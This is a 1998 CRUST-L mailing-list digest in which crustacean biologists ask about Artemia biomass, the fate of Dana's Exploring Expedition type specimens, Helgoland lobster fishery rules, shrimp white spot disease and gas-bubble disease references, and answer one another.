=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Arthur.Ritar@dpif.tas.gov.au Date: Tue, 6 Jan 1998 18:10:30 +1000 Subject: CRUST-L: Artemia biomass I am interested in finding out the relationship in terms of biomass of Artemia at different sizes. For example, the relative and absolute weight differences for 48-h old enriched Artemia (say, 800 micron long), Artemia at 2 mm length and Artemia at 5 mm length. Dr Arthur Ritar e-mail: Arthur.Ritar@dpif.tas.gov.au (Aquaculture Development) Work: 03 62277294 Dept Primary Industry and Fisheries Home: 03 62278499 Marine Research Laboratories Fax: 03 62277298 Nubeena Crescent TAROONA TASMANIA 7053 AUSTRALIA =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: dieter walossek Date: Tue, 6 Jan 1998 11:21:34 +0100 Subject: CRUST-L: Artemia biomass Dear Arthur, a good place/person to start queries is the Artemia Refrence Center and Patrick Sorgeloos email address: patrick.sorgeloos@rug.ac.be full address of Dr. Patrick Sorgeloos Laboratory of Aquaculture & Artemia Reference Center, University of Ghent Rozier 44, B-9000 Gent, Belgium tel +32-9-2643754 fax +32-9-2644193 (or +32-55-302871) www homepage: http://www.rug.ac.be/aquaculture Dieter Walossek, Ulm University professor and head of the Section for Biosystematic Documentation University of Ulm, Liststrasse 3, D-89079 Ulm, Germany phone ++49 731 4014 150 or 151, FAX ++49 731 4014 159 e-mail: dieter.walossek@biologie.uni-ulm.de Try a look at the Cambrian 3d-preserved 'Orsten' crustaceans and allies, incl. larvae down to 100 microns, at: http://www.biologie.uni-ulm.de/biosysdoc/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #111 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:00 1998 Date: Wed, 14 Jan 1998 12:04:20 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #112 crust-l-digest Wednesday, 14 January 1998 Volume 01 : Number 112 [none] CRUST-L: U.S.Exploring Expedition types Re: CRUST-L: U.S.Exploring Expedition types CRUST-L: More on U.S.Exploring Expedition types CRUST-L: Dana's Types CRUST-L: Dana's types CRUST-L: Shrimo Farms CRUST-L: Dana's Crustacea CRUST-L: lobster fisheries regulations CRUST-L: white spot CRUST-L: (no subject) CRUST-L: Literature [none] CRUST-L: References. CRUST-L: 02 effects Re: CRUST-L: References. CRUST-L: Summer Internship Program at VIMS CRUST-L: Cardaminea (?????) japonicum ---------------------------------------------------------------------- From: Pierre.Garen@IFREMER.FR (Pierre GAREN) Date: Wed, 07 Jan 1998 09:31:54 +0100 Subject: [none] I am interested in receiving all kind of information related to P. monodon white spot: disease, culture tips and treatments. Or how and where to get that information. Thanks in advance and best wishes of happy new year... Pierre GAREN CREMA L'Houmeau. BP 5, 17137 L'HOUMEAU, FRANCE Tel.: 33 (0)546 500 695. Fax: 33 (0)546 500 600 Email: pgaren@ifremer.fr =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: csserejo@acd.ufrj.br Date: Wed, 7 Jan 1998 12:42:47 -0300 Subject: CRUST-L: U.S.Exploring Expedition types Dear Collegues Does anyone knows where are deposited the amphipod types published by Dana, 1853 in the United States Exploring Expedition during the years of 1838-1842? He collected and described some species from Rio de Janeiro Harbour but most illustrations and descriptions are poorly detailed. I am doing a PhD with amphipod Hyalids and I have interest in examining the types of Hyale graminea (as Allorchestes (?) graminea) and Hyale media (as Allorchestes media). Any suggestion would help. Thank you Cristiana Serejo Museu Nacional/ UFRJ Quinta da Boa Vista, RJ 20940-040, Rio de Janeiro, RJ Brazil =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Craig Staude Date: Wed, 7 Jan 1998 14:26:35 -0800 () Subject: Re: CRUST-L: U.S.Exploring Expedition types Dear Christiana, I had this same question approximately 20 years ago. At that time Jerry Barnard told me he thought Dana's type specimens we destroyed in the great Chicago fire of 1871. I don't understand why the specimens were in Chicago, because it seems that Dana was affiliated with the Academy of Natural Sciences in Philadelphia, and his report was published in Philadelphia. Can anyone confirm this fact? If you read Dana's "Introductory Remarks" (pp.1-2), you will discover that there were at least two other mishaps that caused the loss or damage of specimens from this expedition. One disaster was the wreck of the vessel Peacock on the bar of the Columbia River, which "sacrificed all the collections made through two seasons in the South Pacific." Best wishes on your study of the hyalids. Have you contacted Dr. Ed Bousfield? His e-mail is elbousf@islandnet.com. - -Craig Dr. Craig P. Staude Friday Harbor Laboratories University of Washington staude@fhl.washington.edu 620 University Rd. phone (360) 378-2165 Friday Harbor, WA 98250 USA fax (206) 543-1273 On Wed, 7 Jan 1998 csserejo@acd.ufrj.br wrote: > Dear Collegues > > Does anyone knows where are deposited the amphipod types published by Dana, > 1853 in the United States Exploring Expedition during the years of > 1838-1842? He collected and described some species from Rio de Janeiro > Harbour but most illustrations and descriptions are poorly detailed. I am > doing a PhD with amphipod Hyalids and I have interest in examining the types > of Hyale graminea (as Allorchestes (?) graminea) and Hyale media (as > Allorchestes media). Any suggestion would help. > > Thank you > > Cristiana Serejo > Museu Nacional/ UFRJ > Quinta da Boa Vista, RJ > 20940-040, Rio de Janeiro, RJ > Brazil > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Craig Staude Date: Wed, 7 Jan 1998 14:49:21 -0800 () Subject: CRUST-L: More on U.S.Exploring Expedition types Christina, I just found a letter from Dr. J.L. Barnard dated May 15, 1978, which states: "All of Dana's types are presumed to have been consumed in the Chicago fire of 1871." So at least my memory serves me well. - -Craig Dr. Craig P. Staude Friday Harbor Laboratories University of Washington staude@fhl.washington.edu 620 University Rd. phone (360) 378-2165 Friday Harbor, WA 98250 USA fax (206) 543-1273 On Wed, 7 Jan 1998 csserejo@acd.ufrj.br wrote: > Dear Collegues > > Does anyone knows where are deposited the amphipod types published by Dana, > 1853 in the United States Exploring Expedition during the years of > 1838-1842? He collected and described some species from Rio de Janeiro > Harbour but most illustrations and descriptions are poorly detailed. I am > doing a PhD with amphipod Hyalids and I have interest in examining the types > of Hyale graminea (as Allorchestes (?) graminea) and Hyale media (as > Allorchestes media). Any suggestion would help. > > Thank you > > Cristiana Serejo > Museu Nacional/ UFRJ > Quinta da Boa Vista, RJ > 20940-040, Rio de Janeiro, RJ > Brazil > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: ajohnsto@oeb.harvard.edu (Ardis Johnston) Date: Wed, 7 Jan 1998 20:01:13 -0400 Subject: CRUST-L: Dana's Types Just want to let everyone know that we have a number of Dana's types. Check out our Web page . If you search our type collections, be warned that we need to clean up the entries - - much of the info was entered from catalogs, and still needs verifying. I have already e-mailed Cristiana Serejo a list of Dana's amphipods that are in the MCZ collections. If in doubt about where a specimen may be, check the MCZ. Best wishes, Ardis Ardis Baker Johnston Curatorial Associate Department of Invertebrates Museum of Comparative Zoology Harvard University Cambridge, MA 02138, USA ajohnston@oeb.harvard.edu Phone: (617) 495-2472 FAX: (617) 495-5667 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: cboyko@AMNH.ORG (Christopher B. Boyko) Date: Thu, 8 Jan 1998 10:17:25 -0400 Subject: CRUST-L: Dana's types Dear Crusters, Ardis is correct about MCZ having some Dana types, but also see Evans, A.C. 1967. J. Nat. Hist. 1: 399-411 for examples of Dana (and Stimpson) types of decapods in the British Museum and also in the Smithsonian. I suspect other non-decapod taxa types have survived there as well. Christopher B. Boyko Department of Invertebrates American Museum of Natural History Central Park West @ 79th St. New York, NY 10024 (212) 769-5717 Fax: (212) 769-5783 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Carles Zarza Date: Thu, 08 Jan 1998 17:00:37 -0800 Subject: CRUST-L: Shrimo Farms Dear Sirs, My name is Carles Zarza and I am studying shrimp farming in Spain. At January I would like to visit some farms in France and Italy and would like you send me the names and adresses of some farms in this country. Thanks in advance, Carles Zarza UNIDAD DE NUTRICIO i ALIMENTACIO ANIMAL Facultat de Veterinaria, UAB 08193- Bellaterra Barcelona email: dentol@bbs-ce.uab.es =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Poore, Gary" Date: Fri, 9 Jan 1998 10:02:00 +1000 Subject: CRUST-L: Dana's Crustacea Some years ago while in the library of the Crustacean Laboratory of the Smithsonian Institution I photocopied extracts from James Dana's hadwritten notebooks. Its a sad story but it sheds some light on the fate of his material. Here it is verbatim. "A word by the author. "The collections in the department of Crustacea which were made by the writer in the course of the cruise of the Exploring Expedition, met with a severs loss at the wreck of the Peacock - the Sloop of War with which till then I had been connected - at the mouth of the Colombia River in 1841. At the close of the first season through the Pacific, which had been spent in explorations through the Paumotu, Society, and Samoan groups, the Crustacea specimens were packed in a large keg and landed, with other packages of specimens, at Sydney, New South Wales, in order to be shipped to the United States. This keg, by some oversight, failed to go with the rest, and a few weeks after was sent on by the Ship Relief to the Hawaiian Islands. It was there taken on board the Peacock, just before she sailed for Oregon, where all was lost on the fatal bar. "Besides this, the vessel has on board the collections of the preceding six months made at the Samoan, Ringsmill and various other Islands in the equatorial regions of the Pacific. Nearly all the specimens of Oceanic Crustacea, that had been made were either in the keg or in the writer's State Room, and on this account but few specimens are now contained in the collections. "The losses were lessened in part, as far as number of species is concerned, by the numerous detailed drawings made by the writer from the living animals as they were collected; in part, also, though the dried specimens of some species that had a safe conveyance to the country; and partly also from the collections made on board the Vincennes, principally by Dr C. Pickering, who was indefatigable in his labors for every Department of Zoology in all regions visited by the Expedition. "The specimens encountered a further catastrophe after reaching Washington. A large part of the packages were opened under authority, before the return of the Expedition. And as they were thus taken from the original numbered bottles and variously distributed in the cases, without consulting the original Catalogues which had been made with great care, and without preserving in all instances the original tickets, these Catalogues were rendered to a considerable extent useless. The occasional queries in the writer's Report on Crustacea, as to the precise localities of specimens are a consequence of this unfortunate misjudgment. Many specimens, moreover, were at the same time injured by turning them into dried specimens, through removal from the alcohol in which they were preserved. "In the following Catalogue, the names of all the specimens described in the Report are given together with the page, plate & figure, for the convenience of reference & comparison. Under each species, of which there are specimens in the collections the locality is given in blue ink, if the specimens is in alcohol, and in red ink, if the specimen is dried. James D Dana New Haven, May 1, 1857" Dr Gary C. B. Poore Senior Curator, Crustacea phone (61-3) 9284 0215 Museum of Victoria fax (61-3) 9416 0475 71 Victoria Crescent email gpoore@mov.vic.gov.au Abbotsford Vic 3067 Australia =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Ismeni Walter Date: Fri, 09 Jan 1998 15:23:21 -0800 Subject: CRUST-L: lobster fisheries regulations Dear crustlers, After getting some very interesting and most helpfull input on my lobster = fisheries questions about a year ago I would like to pick up the subject = again, especially ask something the issue of close seasons: What closing = seasons for lobster fishery are there, especially in Europe, and do you = think they make sense? The background is the following: The Homarus gammarus population around Helgoland is the only one in the = area of the German North Sea, and it=B4s been dramatically decreasing since= = the the 1950=B4s. With the support of the ministry of agriculture of = Schleswig Holstein the Biologische Anstalt Helgoland plans a restocking = program. In addtition to that, the ministry intends to improve fishery = regulations, and we are asked for scientific advise and suggestions. Up to now, there have been only few regulations on lobster fishery around = Helgoland: legal size is 9 cm carapace length (measured from tip of = rostrum), closing season is from July 15th to August 31st. No protection = of egg-bearing females, but since 15 years or so, the fishermen or = restaurant owners bring egg-bearing females to the institute for hatching = on a good-will basis. (However, the quality of eggs/hatchlings has been = drastically decreasing lately, due to the stress of falling dry and = storing in bad water quality). Our suggestion so far would be to increase legal size to at least 10 cm = (makes about a one-pound lobster) and to give year-round protection to = egg-bearing females. We scientists wouldn=B4t mind to just extend the = protection of course, but the lokal fishermen won=B4t love this idea at = all, and we definitely need their cooperation in this project, so we need = a compromise to serve us all. Now the discussion has come up, if one = could give up the closing season for the rest of the lobsters in return. = The argument was, that protecting an egg-bearing female for only six = weeks doesn=B4t make sense; that it was originally intended to protect = lobsters during the high molting season, but that shortly pre- or = postmolt lobster won=B4t go into a pot anyway. An argument in favour of the= = closing seasong however may be, that after molting, the lobsters have an = increased food demand and therefore might go into the traps more eagerly = than otherwise. What is your oppinion in this question? Does this 1 1/2-month closing = season make sense ecologically or could one possibly take the = responsibility of giving it up in a compromise? What are the regulations = in other lobster-fishing nations? Do they make sense from an ecological = point of view? Any contributions and comments will be greatly = appreciated! Greetings, Ismeni Walter and Iris Ulrich Ismeni Walter Iris Ulrich Biologische Anstalt Helgoland Biologische Anstalt Helgoland Meeresstation Meeresstation 27498 Helgoland 27498 Helgoland GERMANY GERMANY tel. ++49-4725-819-321 tel. ++49-4725-819-244 fax. ++49-4725-819-369 fax. ++49-4725-819-369 e-mail: iwalter@mail.desy.de e-mail: lobster@compuserve.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Michal Grabowski (by way of pgaren@larochelle (Pierre GAREN)) Date: Fri, 09 Jan 1998 17:52:11 +0100 Subject: CRUST-L: white spot [the only info I got, Craig] >I am interested in receiving all kind of information related to P. monodon >white spot: disease, culture tips and treatments. Or how and where to get >that information. >Thanks in advance and best wishes of happy new year... >Pierre GAREN I advise you to email my friend, Dr Kenneth Stuck in Gulf Coast Research Laboratory in Mississippi. He did his PhD on that subject. His email is: kcstuck@seahorse.ims.usm.edu Best wishes, Michal Grabowski ____________________________________ Michal Grabowski, PhD student Laboratory of Polar Biology & Oceanobiology University of Lodz 12/16 Banacha St. 90-237 Lodz Poland =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Mr.Boonsirm Withyachumnarnkul" Date: Mon, 12 Jan 1998 10:18:43 -0800 Subject: CRUST-L: (no subject) Dear Garen: You can find a lot of information about P. monodon viral diseases in text and journals. If you need specific information, I'll be happy to respond. Boonsirm Withyachumnarnkul, M.D., Ph.D. Mahidol University, Bangkok, Thailand =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Francesca Gherardi Date: Mon, 12 Jan 1998 12:35:55 +0100 (MET) Subject: CRUST-L: Literature Dear crusters, we are looking for recently (1990-) published articles on locomotor activity rhythms in freshwater crayfish and river crabs, analyzed in either laboratory or field. The best 1998, Francesca - ----------------------------------------- Dr Francesca Gherardi Dipartimento di Biologia Animale e Genetica "Leo Pardi" Via Romana 17 50125 Firenze, Italy tel. + 39 55 22881/2288216 fax + 39 55 222565 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: csserejo@acd.ufrj.br Date: Mon, 12 Jan 1998 15:51:42 -0200 Subject: [none] Dear Collegues I just want to thank for the clarifying messages about Dana's type received these days. They helped a lot! Sincerely Cristiana Serejo Museu Nacional/UFRJ Quinta da Boa Vista Rio de Janeiro, RJ 20940-040 Brazil =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Stephen G. Dunbar" Date: Tue, 13 Jan 1998 16:23:07 +1000 (EST) Subject: CRUST-L: References. Hello Crusters, I'm wondering if anyone out there would have any references to the effects of supersaturation of O2 on marine crust's. I haven't found much, so far, in my readings, so if you could point me in the right direction I would appreciate it. Thanks for the help! Steve Stephen G. Dunbar Central Queensland University Department of Biology Rockhampton Mail Centre, QLD 4702 Email:dunbars@topaz.cqu.edu.au Ph:079-309647 Ph:011-61-749-309647 (from Canada;note change from 079 to 749) =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: gmessick@hatteras.bea.nmfs.gov Date: Tue, 13 Jan 98 7:16:38 EST Subject: CRUST-L: 02 effects Steve Dunbar asked for references to effects of supersaturation of O2 on marine crustaceans: Johnson, PT 1976. Gas-bubble diseases in the blue crab, _Callinectes sapidus_. Journal of Invertebrate Pathology 27: 247-253. Lightner, DV, BR Salser, RS Wheeler. 1974. Gas-bubble disease in the brown shrimp (_Penaeus aztecus_) Aquaculture 4: 81-84. Gretchen Messick NMFS\NOAA Cooperative Oxford Laboratory 904 S. Morris Street Oxford, Maryland 21654 410-226-5193 FAX 410-226-5925 Gretchen.Messick@noaa.gov =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Craig Browdy Date: Tue, 13 Jan 1998 10:36:42 -0500 Subject: Re: CRUST-L: References. There is a section on gas bubble disease in the following reference: Lightner, D.V. 1996. A handbook of Shrimp Pathology and Diagnostic Procedures for Diseases of Cultured Penaeid Shrimp. World Aquaculture Society, Baton Rouge, Louisiana, USA. Ordering info can be found at the following URL: http://ag.ansc.purdue.edu/aquanic/was/books/diagnost.htm The chapter lists a number of references including: Lightner et al 1974, Gas bubble disease in the brown shrimp Penaeus aztecus. Aquaculture 4:81-84. Suplee and Lightner 1976 Gas bubble disease due to oxygen supersaturation in raceway reared California brown shrimp. Prog. Fish cult. 38:158-159. Craig L. Browdy Waddell Mariculture Center POB 809 Bluffton, SC 29910 USA Phone: 803-837-3795 FAX: 803-837-3487 Email: browdycl@musc.edu - ---------- > From: Stephen G. Dunbar > To: CRUST-L@vims.edu > Subject: CRUST-L: References. > Date: Tuesday, January 13, 1998 1:23 AM > > Hello Crusters, > > I'm wondering if anyone out there would have any references to the effects > of supersaturation of O2 on marine crust's. I haven't found much, so far, in > my readings, so if you could point me in the right direction I would > appreciate it. > > Thanks for the help! > > Steve > > > Stephen G. Dunbar > Central Queensland University > Department of Biology > Rockhampton Mail Centre, QLD 4702 > Email:dunbars@topaz.cqu.edu.au > Ph:079-309647 > Ph:011-61-749-309647 (from Canada;note change from 079 to 749) > > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= > To (un)subscribe to CRUST-L: > Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. > To post to CRUST-L, send messages to CRUST-L@VIMS.EDU > Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. > =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 13 Jan 1998 17:10:06 -0500 (EST) Subject: CRUST-L: Summer Internship Program at VIMS Please show this to your undergraduates: For undergraduates looking for research opportunities in marine science over the summer, see http://www.vims.edu/sms/intern/index.html for the VIMS NSF REU program. Deadline for application is Feb. 27, 1998. The web site has pertinent application information. Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\ 0 | | 0 // Gloucester Point, VA 23062, USA \\__\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \^ ^^ ^/ http://www.vims.edu/~jeff/ <====\^ ( ) ^/====> <====\^ ^/====> <====\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jari Sandqvist Date: Wed, 14 Jan 1998 18:32:02 -0500 Subject: CRUST-L: Cardaminea (?????) japonicum Hi again Now we have got to our aquarium markets a fresh water shrimp species called on the list of the Singaporean exporter as Cardaminea japonicum. It's about three cm long transparent shrimp with red spots. The wholesaler in Finland is calling it as "algae eating shrimp". Here you have some questions: 1. Are we talking about Caridina japonicum? 2. Does it really exist some FW shrimp species with the capability of eating algae? What kind of algaes? Even the red ones as "tuft" algae? Thank you for your time Jari Sandqvist =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send 